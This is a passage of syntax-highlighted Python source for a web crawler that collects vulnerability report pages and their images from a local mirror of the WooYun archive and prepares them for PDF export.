class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> urljoin, urlparse</span><br><span class="line"><span class="keyword">from</span> tqdm <span class="keyword">import</span> tqdm</span><br><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"><span class="keyword">import</span> html2text</span><br><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">import</span> pdfkit</span><br><span class="line"><span class="keyword">from</span> concurrent.futures <span class="keyword">import</span> ThreadPoolExecutor, as_completed</span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">WooYunCrawler</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, base_url=<span class="string">&quot;http://192.168.50.103&quot;</span>, output_dir=<span class="string">&quot;output&quot;</span></span>):</span><br><span class="line">        <span class="variable language_">self</span>.base_url = base_url</span><br><span class="line">        <span class="variable language_">self</span>.output_dir = output_dir</span><br><span class="line">        <span class="variable language_">self</span>.session = requests.Session()</span><br><span class="line">        <span class="variable language_">self</span>.session.headers.update(&#123;</span><br><span class="line">            <span class="string">&#x27;User-Agent&#x27;</span>: <span class="string">&#x27;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36&#x27;</span></span><br><span class="line">        &#125;)</span><br><span class="line">        </span><br><span class="line">        Path(<span class="variable language_">self</span>.output_dir).mkdir(parents=<span class="literal">True</span>, exist_ok=<span class="literal">True</span>)</span><br><span class="line">        <span class="variable language_">self</span>.images_dir = os.path.join(<span class="variable language_">self</span>.output_dir, <span class="string">&#x27;images&#x27;</span>)</span><br><span class="line">        Path(<span class="variable language_">self</span>.images_dir).mkdir(parents=<span class="literal">True</span>, exist_ok=<span class="literal">True</span>)</span><br><span class="line">        <span class="variable language_">self</span>.wkhtmltopdf_path = <span class="variable language_">self</span>._find_wkhtmltopdf()</span><br><span class="line">        <span class="variable language_">self</span>.file_lock = threading.Lock()</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">_find_wkhtmltopdf</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="keyword">import</span> shutil</span><br><span class="line">        common_paths = [</span><br><span class="line">            <span class="string">&#x27;/usr/local/bin/wkhtmltopdf&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;/usr/bin/wkhtmltopdf&#x27;</span>,</span><br><span class="line">            <span class="string">&#x27;/opt/homebrew/bin/wkhtmltopdf&#x27;</span>,</span><br><span class="line">            shutil.which(<span class="string">&#x27;wkhtmltopdf&#x27;</span>)</span><br><span class="line">        ]</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> path <span class="keyword">in</span> common_paths:</span><br><span class="line">            <span class="keyword">if</span> path <span class="keyword">and</span> os.path.exists(path):</span><br><span class="line">                <span class="keyword">return</span> path</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_page</span>(<span class="params">self, url, retry=<span class="number">3</span></span>):</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(retry):</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                response = <span class="variable language_">self</span>.session.get(url, timeout=<span class="number">30</span>)</span><br><span class="line">                response.raise_for_status()</span><br><span class="line">                response.encoding = <span class="string">&#x27;utf-8&#x27;</span></span><br><span class="line">                <span class="keyword">return</span> response.text</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                <span class="keyword">if</span> i == retry - <span class="number">1</span>:</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&quot;获取页面失败 <span class="subst">&#123;url&#125;</span>: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">                    <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">                time.sleep(<span class="number">2</span>)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_total_pages</span>(<span class="params">self</span>):</span><br><span class="line">        url = <span class="string">f&quot;<span class="subst">&#123;self.base_url&#125;</span>/bugs.php?page=1500&quot;</span></span><br><span class="line">        html = <span class="variable language_">self</span>.get_page(url)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> html:</span><br><span class="line">            <span class="keyword">return</span> <span class="number">1</span></span><br><span class="line">        </span><br><span class="line">        soup = BeautifulSoup(html, <span class="string">&#x27;lxml&#x27;</span>)</span><br><span class="line">        max_page = <span class="number">1</span></span><br><span class="line">        </span><br><span class="line">        pagination = soup.find(<span class="string">&#x27;div&#x27;</span>, class_=re.<span class="built_in">compile</span>(<span class="string">&#x27;page|pagination&#x27;</span>, re.I))</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> pagination:</span><br><span class="line">            pagination = soup.find(string=re.<span class="built_in">compile</span>(<span class="string">&#x27;末页|下一页|上一页&#x27;</span>, re.I))</span><br><span class="line">            <span class="keyword">if</span> pagination:</span><br><span class="line">                pagination = pagination.find_parent()</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> pagination:</span><br><span class="line">            page_links = pagination.find_all(<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">            <span class="keyword">for</span> link <span class="keyword">in</span> page_links:</span><br><span class="line">                href = link.get(<span class="string">&#x27;href&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">                <span class="keyword">if</span> <span class="string">&#x27;page=&#x27;</span> <span class="keyword">in</span> href:</span><br><span class="line">                    <span class="keyword">try</span>:</span><br><span class="line">                        page_num = <span class="built_in">int</span>(re.search(<span class="string">r&#x27;page=(\d+)&#x27;</span>, href).group(<span class="number">1</span>))</span><br><span class="line">                        max_page = <span class="built_in">max</span>(max_page, page_num)</span><br><span class="line">                    <span class="keyword">except</span>:</span><br><span class="line">                        <span class="keyword">pass</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> max_page == <span class="number">1</span>:</span><br><span class="line">            page_text = soup.get_text()</span><br><span class="line">            page_match = re.search(<span class="string">r&#x27;共\s*\d+\s*条记录[，,]\s*(\d+)\s*页&#x27;</span>, page_text)</span><br><span class="line">            <span class="keyword">if</span> page_match:</span><br><span class="line">                max_page = <span class="built_in">int</span>(page_match.group(<span class="number">1</span>))</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> max_page == <span class="number">1</span>:</span><br><span class="line">            last_page_link = soup.find(<span class="string">&#x27;a&#x27;</span>, string=re.<span class="built_in">compile</span>(<span class="string">&#x27;末页|最后一页&#x27;</span>, re.I))</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> last_page_link:</span><br><span class="line">                <span class="keyword">for</span> link <span class="keyword">in</span> soup.find_all(<span class="string">&#x27;a&#x27;</span>):</span><br><span class="line">                    <span class="keyword">if</span> <span class="string">&#x27;末页&#x27;</span> <span class="keyword">in</span> link.get_text() <span class="keyword">or</span> <span class="string">&#x27;最后一页&#x27;</span> <span class="keyword">in</span> link.get_text():</span><br><span class="line">                        last_page_link = link</span><br><span class="line">                        <span class="keyword">break</span></span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> last_page_link:</span><br><span class="line">                href = last_page_link.get(<span class="string">&#x27;href&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">                <span class="keyword">match</span> = re.search(<span class="string">r&#x27;page=(\d+)&#x27;</span>, href)</span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">match</span>:</span><br><span class="line">                    max_page = <span class="built_in">int</span>(<span class="keyword">match</span>.group(<span class="number">1</span>))</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> max_page == <span class="number">1</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;无法自动检测总页数，将尝试递增查找...&quot;</span>)</span><br><span class="line">            <span class="keyword">for</span> page <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>, <span class="number">100</span>):</span><br><span class="line">                test_url = <span class="string">f&quot;<span class="subst">&#123;self.base_url&#125;</span>/bugs.php?page=<span class="subst">&#123;page&#125;</span>&quot;</span></span><br><span class="line">                html = <span class="variable language_">self</span>.get_page(test_url)</span><br><span class="line">                <span class="keyword">if</span> html:</span><br><span class="line">                    test_soup = BeautifulSoup(html, <span class="string">&#x27;lxml&#x27;</span>)</span><br><span class="line">                    test_links = test_soup.find_all(<span class="string">&#x27;a&#x27;</span>, href=re.<span class="built_in">compile</span>(<span class="string">r&#x27;bug_detail\.php.*wybug_id=&#x27;</span>))</span><br><span class="line">                    <span class="keyword">if</span> test_links:</span><br><span class="line">                        max_page = page</span><br><span class="line">                    <span class="keyword">else</span>:</span><br><span class="line">                        <span class="keyword">if</span> page &gt; <span class="number">5</span>:</span><br><span class="line">                            <span class="keyword">break</span></span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">                time.sleep(<span class="number">0.2</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> max_page &gt; <span class="number">1000</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;检测到页数: <span class="subst">&#123;max_page&#125;</span>，正在验证...&quot;</span>)</span><br><span class="line">            test_pages = [<span class="number">1</span>, <span class="number">100</span>, <span class="number">500</span>, <span class="number">1000</span>, max_page]</span><br><span class="line">            actual_max = <span class="number">1</span></span><br><span class="line">            <span class="keyword">for</span> test_page <span class="keyword">in</span> test_pages:</span><br><span class="line">                <span class="keyword">if</span> test_page &gt; max_page:</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">                test_url = <span class="string">f&quot;<span class="subst">&#123;self.base_url&#125;</span>/bugs.php?page=<span class="subst">&#123;test_page&#125;</span>&quot;</span></span><br><span class="line">                html = <span class="variable language_">self</span>.get_page(test_url)</span><br><span class="line">                <span class="keyword">if</span> html:</span><br><span class="line">                    test_soup = BeautifulSoup(html, <span class="string">&#x27;lxml&#x27;</span>)</span><br><span class="line">                    test_links = test_soup.find_all(<span class="string">&#x27;a&#x27;</span>, href=re.<span class="built_in">compile</span>(<span class="string">r&#x27;bug_detail\.php.*wybug_id=&#x27;</span>))</span><br><span class="line">                    <span class="keyword">if</span> test_links:</span><br><span class="line">                        actual_max = test_page</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">f&quot;  第<span class="subst">&#123;test_page&#125;</span>页有内容&quot;</span>)</span><br><span class="line">                    <span class="keyword">else</span>:</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">f&quot;  第<span class="subst">&#123;test_page&#125;</span>页无内容，停止验证&quot;</span>)</span><br><span class="line">                        <span class="keyword">break</span></span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">                time.sleep(<span class="number">0.1</span>)</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> actual_max &gt;= <span class="number">100</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;验证通过，将爬取所有 <span class="subst">&#123;max_page&#125;</span> 页&quot;</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;验证失败，将爬取前 <span class="subst">&#123;actual_max * <span class="number">2</span>&#125;</span> 页&quot;</span>)</span><br><span class="line">                max_page = actual_max * <span class="number">2</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">max</span>(<span class="number">1</span>, max_page)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_article_links_from_page</span>(<span class="params">self, page_num</span>):</span><br><span class="line">        url = <span class="string">f&quot;<span class="subst">&#123;self.base_url&#125;</span>/bugs.php?page=<span class="subst">&#123;page_num&#125;</span>&quot;</span></span><br><span class="line">        html = <span class="variable language_">self</span>.get_page(url)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> html:</span><br><span class="line">            <span class="keyword">return</span> []</span><br><span class="line">        </span><br><span class="line">        soup = BeautifulSoup(html, <span class="string">&#x27;lxml&#x27;</span>)</span><br><span class="line">        links = []</span><br><span class="line">        seen_urls = <span class="built_in">set</span>()</span><br><span class="line">        </span><br><span class="line">        article_links = soup.find_all(<span class="string">&#x27;a&#x27;</span>, href=re.<span class="built_in">compile</span>(<span class="string">r&#x27;bug_detail\.php\?wybug_id=&#x27;</span>))</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> article_links:</span><br><span class="line">            article_links = soup.find_all(<span class="string">&#x27;a&#x27;</span>, href=re.<span class="built_in">compile</span>(<span class="string">r&#x27;bug_detail\.php&#x27;</span>))</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> article_links:</span><br><span class="line">            all_links = soup.find_all(<span class="string">&#x27;a&#x27;</span>, href=<span class="literal">True</span>)</span><br><span class="line">            <span class="keyword">for</span> link <span class="keyword">in</span> all_links:</span><br><span class="line">                href = link.get(<span class="string">&#x27;href&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">                <span class="keyword">if</span> <span class="string">&#x27;bug_detail.php&#x27;</span> <span class="keyword">in</span> href <span class="keyword">and</span> <span class="string">&#x27;wybug_id=&#x27;</span> <span class="keyword">in</span> href:</span><br><span class="line">                    article_links.append(link)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> link <span class="keyword">in</span> article_links:</span><br><span class="line">            href = link.get(<span class="string">&#x27;href&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> href.startswith(<span class="string">&#x27;http&#x27;</span>):</span><br><span class="line">                href = urljoin(url, href)</span><br><span class="line">            </span><br><span class="line">            id_match = re.search(<span class="string">r&#x27;wybug_id=([^&amp;]+)&#x27;</span>, href)</span><br><span class="line">            <span class="keyword">if</span> id_match:</span><br><span class="line">                article_id = id_match.group(<span class="number">1</span>)</span><br><span class="line">                full_url = urljoin(<span class="variable language_">self</span>.base_url, href)</span><br><span class="line">                </span><br><span class="line">                <span class="keyword">if</span> full_url <span class="keyword">in</span> seen_urls:</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                seen_urls.add(full_url)</span><br><span class="line">                </span><br><span class="line">                title = link.get_text(strip=<span class="literal">True</span>)</span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> title <span class="keyword">or</span> <span class="built_in">len</span>(title) &lt; <span class="number">3</span>:</span><br><span class="line">                    parent = link.parent</span><br><span class="line">                    <span class="keyword">if</span> parent:</span><br><span class="line">                        parent_text = parent.get_text(strip=<span class="literal">True</span>)</span><br><span class="line">                        <span class="keyword">if</span> parent_text <span class="keyword">and</span> parent_text != title:</span><br><span class="line">                            title = parent_text</span><br><span class="line">                    </span><br><span class="line">                    <span class="keyword">if</span> <span class="keyword">not</span> title <span class="keyword">or</span> <span class="built_in">len</span>(title) &lt; <span class="number">3</span>:</span><br><span class="line">                        next_sibling = link.find_next_sibling()</span><br><span class="line">                        <span class="keyword">if</span> next_sibling:</span><br><span class="line">                            title = next_sibling.get_text(strip=<span class="literal">True</span>)</span><br><span class="line">                </span><br><span class="line">                <span class="keyword">if</span> title:</span><br><span class="line">                    title = re.sub(<span class="string">r&#x27;\s+&#x27;</span>, <span class="string">&#x27; &#x27;</span>, title).strip()</span><br><span class="line">                </span><br><span class="line">                <span class="keyword">if</span> title <span class="keyword">and</span> <span class="built_in">len</span>(title) &gt; <span class="number">3</span> <span class="keyword">and</span> title <span class="keyword">not</span> <span class="keyword">in</span> [<span class="string">&#x27;首页&#x27;</span>, <span class="string">&#x27;登录&#x27;</span>, <span class="string">&#x27;注册&#x27;</span>, <span class="string">&#x27;上一页&#x27;</span>, <span class="string">&#x27;下一页&#x27;</span>, <span class="string">&#x27;末页&#x27;</span>, <span class="string">&#x27;搜索&#x27;</span>]:</span><br><span class="line">                    links.append(&#123;</span><br><span class="line">                        <span class="string">&#x27;url&#x27;</span>: full_url,</span><br><span class="line">                        <span class="string">&#x27;title&#x27;</span>: title,</span><br><span class="line">                        <span class="string">&#x27;id&#x27;</span>: article_id</span><br><span class="line">                    &#125;)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> links <span class="keyword">and</span> page_num &lt;= <span class="number">5</span>:</span><br><span class="line">            debug_file = os.path.join(<span class="variable language_">self</span>.output_dir, <span class="string">f&#x27;debug_page_<span class="subst">&#123;page_num&#125;</span>.html&#x27;</span>)</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(debug_file, <span class="string">&#x27;w&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                f.write(html)</span><br><span class="line">            </span><br><span class="line">            all_links = soup.find_all(<span class="string">&#x27;a&#x27;</span>, href=<span class="literal">True</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;\n调试信息 - 第<span class="subst">&#123;page_num&#125;</span>页:&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;  页面中所有链接数量: <span class="subst">&#123;<span class="built_in">len</span>(all_links)&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;  包含&#x27;bugs.php&#x27;的链接: <span class="subst">&#123;<span class="built_in">len</span>([l <span class="keyword">for</span> l <span class="keyword">in</span> all_links <span class="keyword">if</span> <span class="string">&#x27;bugs.php&#x27;</span> <span class="keyword">in</span> l.get(<span class="string">&#x27;href&#x27;</span>, <span class="string">&#x27;&#x27;</span>)])&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;  HTML已保存到: <span class="subst">&#123;debug_file&#125;</span>&quot;</span>)</span><br><span class="line">            </span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;  前10个链接示例:&quot;</span>)</span><br><span class="line">            <span class="keyword">for</span> i, link <span class="keyword">in</span> <span class="built_in">enumerate</span>(all_links[:<span class="number">10</span>], <span class="number">1</span>):</span><br><span class="line">                href = link.get(<span class="string">&#x27;href&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">                text = link.get_text(strip=<span class="literal">True</span>)[:<span class="number">30</span>]</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;    <span class="subst">&#123;i&#125;</span>. <span class="subst">&#123;href&#125;</span> - <span class="subst">&#123;text&#125;</span>&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> links</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_all_article_links</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;正在获取总页数...&quot;</span>)</span><br><span class="line">        total_pages = <span class="variable language_">self</span>.get_total_pages()</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;共找到 <span class="subst">&#123;total_pages&#125;</span> 页&quot;</span>)</span><br><span class="line">        </span><br><span class="line">        all_links = []</span><br><span class="line">        </span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;正在爬取所有文章链接...&quot;</span>)</span><br><span class="line">        <span class="keyword">for</span> page <span class="keyword">in</span> tqdm(<span class="built_in">range</span>(<span class="number">1</span>, total_pages + <span class="number">1</span>), desc=<span class="string">&quot;爬取页面&quot;</span>):</span><br><span class="line">            links = <span class="variable language_">self</span>.get_article_links_from_page(page)</span><br><span class="line">            all_links.extend(links)</span><br><span class="line">            time.sleep(<span class="number">0.5</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;共找到 <span class="subst">&#123;<span class="built_in">len</span>(all_links)&#125;</span> 篇文章&quot;</span>)</span><br><span class="line">        <span class="keyword">return</span> all_links</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">get_article_content</span>(<span class="params">self, url, article_id, report_name</span>):</span><br><span class="line">        html = <span class="variable language_">self</span>.get_page(url)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> html:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">        </span><br><span class="line">        soup = BeautifulSoup(html, <span class="string">&#x27;lxml&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">        title = soup.find(<span class="string">&#x27;title&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> title:</span><br><span class="line">            title = title.get_text(strip=<span class="literal">True</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            title = report_name</span><br><span class="line">        </span><br><span class="line">        processed_html = <span class="variable language_">self</span>.prepare_html_with_local_images(html, url, article_id)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> &#123;</span><br><span class="line">            <span class="string">&#x27;title&#x27;</span>: title,</span><br><span class="line">            <span class="string">&#x27;report_name&#x27;</span>: report_name,</span><br><span class="line">            <span class="string">&#x27;url&#x27;</span>: url,</span><br><span class="line">            <span class="string">&#x27;html&#x27;</span>: processed_html</span><br><span class="line">        &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">sanitize_filename</span>(<span class="params">self, filename</span>):</span><br><span class="line">        filename = re.sub(<span class="string">r&#x27;[&lt;&gt;:&quot;/\\|?*]&#x27;</span>, <span class="string">&#x27;_&#x27;</span>, filename)</span><br><span class="line">        filename = filename.strip(<span class="string">&#x27;. &#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(filename) &gt; <span class="number">200</span>:</span><br><span class="line">            filename = filename[:<span class="number">200</span>]</span><br><span class="line">        <span class="keyword">return</span> filename</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">download_image</span>(<span class="params">self, img_url, article_id</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> img_url.startswith(<span class="string">&#x27;http&#x27;</span>):</span><br><span class="line">                img_url = urljoin(<span class="variable language_">self</span>.base_url, img_url)</span><br><span class="line">            </span><br><span class="line">            url_hash = hashlib.md5(img_url.encode()).hexdigest()[:<span class="number">8</span>]</span><br><span class="line">            ext = os.path.splitext(urlparse(img_url).path)[<span class="number">1</span>] <span class="keyword">or</span> <span class="string">&#x27;.jpg&#x27;</span></span><br><span class="line">            <span class="keyword">if</span> ext <span class="keyword">not</span> <span class="keyword">in</span> [<span class="string">&#x27;.jpg&#x27;</span>, <span class="string">&#x27;.jpeg&#x27;</span>, <span class="string">&#x27;.png&#x27;</span>, <span class="string">&#x27;.gif&#x27;</span>, <span class="string">&#x27;.bmp&#x27;</span>, <span class="string">&#x27;.webp&#x27;</span>]:</span><br><span class="line">                ext = <span class="string">&#x27;.jpg&#x27;</span></span><br><span class="line">            </span><br><span class="line">            filename = <span class="string">f&quot;<span class="subst">&#123;article_id&#125;</span>_<span class="subst">&#123;url_hash&#125;</span><span class="subst">&#123;ext&#125;</span>&quot;</span></span><br><span class="line">            filepath = os.path.join(<span class="variable language_">self</span>.images_dir, filename)</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> os.path.exists(filepath):</span><br><span class="line">                <span class="keyword">return</span> filepath</span><br><span class="line">            </span><br><span class="line">            response = <span class="variable language_">self</span>.session.get(img_url, timeout=<span class="number">30</span>, stream=<span class="literal">True</span>)</span><br><span class="line">            response.raise_for_status()</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(filepath, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">                <span class="keyword">for</span> chunk <span class="keyword">in</span> response.iter_content(chunk_size=<span class="number">8192</span>):</span><br><span class="line">                    f.write(chunk)</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">return</span> filepath</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">prepare_html_with_local_images</span>(<span class="params">self, html, url, article_id</span>):</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> html:</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">        </span><br><span class="line">        soup = BeautifulSoup(html, <span class="string">&#x27;lxml&#x27;</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> script <span class="keyword">in</span> soup.find_all(<span class="string">&#x27;script&#x27;</span>):</span><br><span class="line">            script.decompose()</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> nav <span class="keyword">in</span> soup.find_all([<span class="string">&#x27;nav&#x27;</span>, <span class="string">&#x27;header&#x27;</span>, <span class="string">&#x27;footer&#x27;</span>, <span class="string">&#x27;aside&#x27;</span>]):</span><br><span class="line">            nav.decompose()</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> form <span class="keyword">in</span> soup.find_all(<span 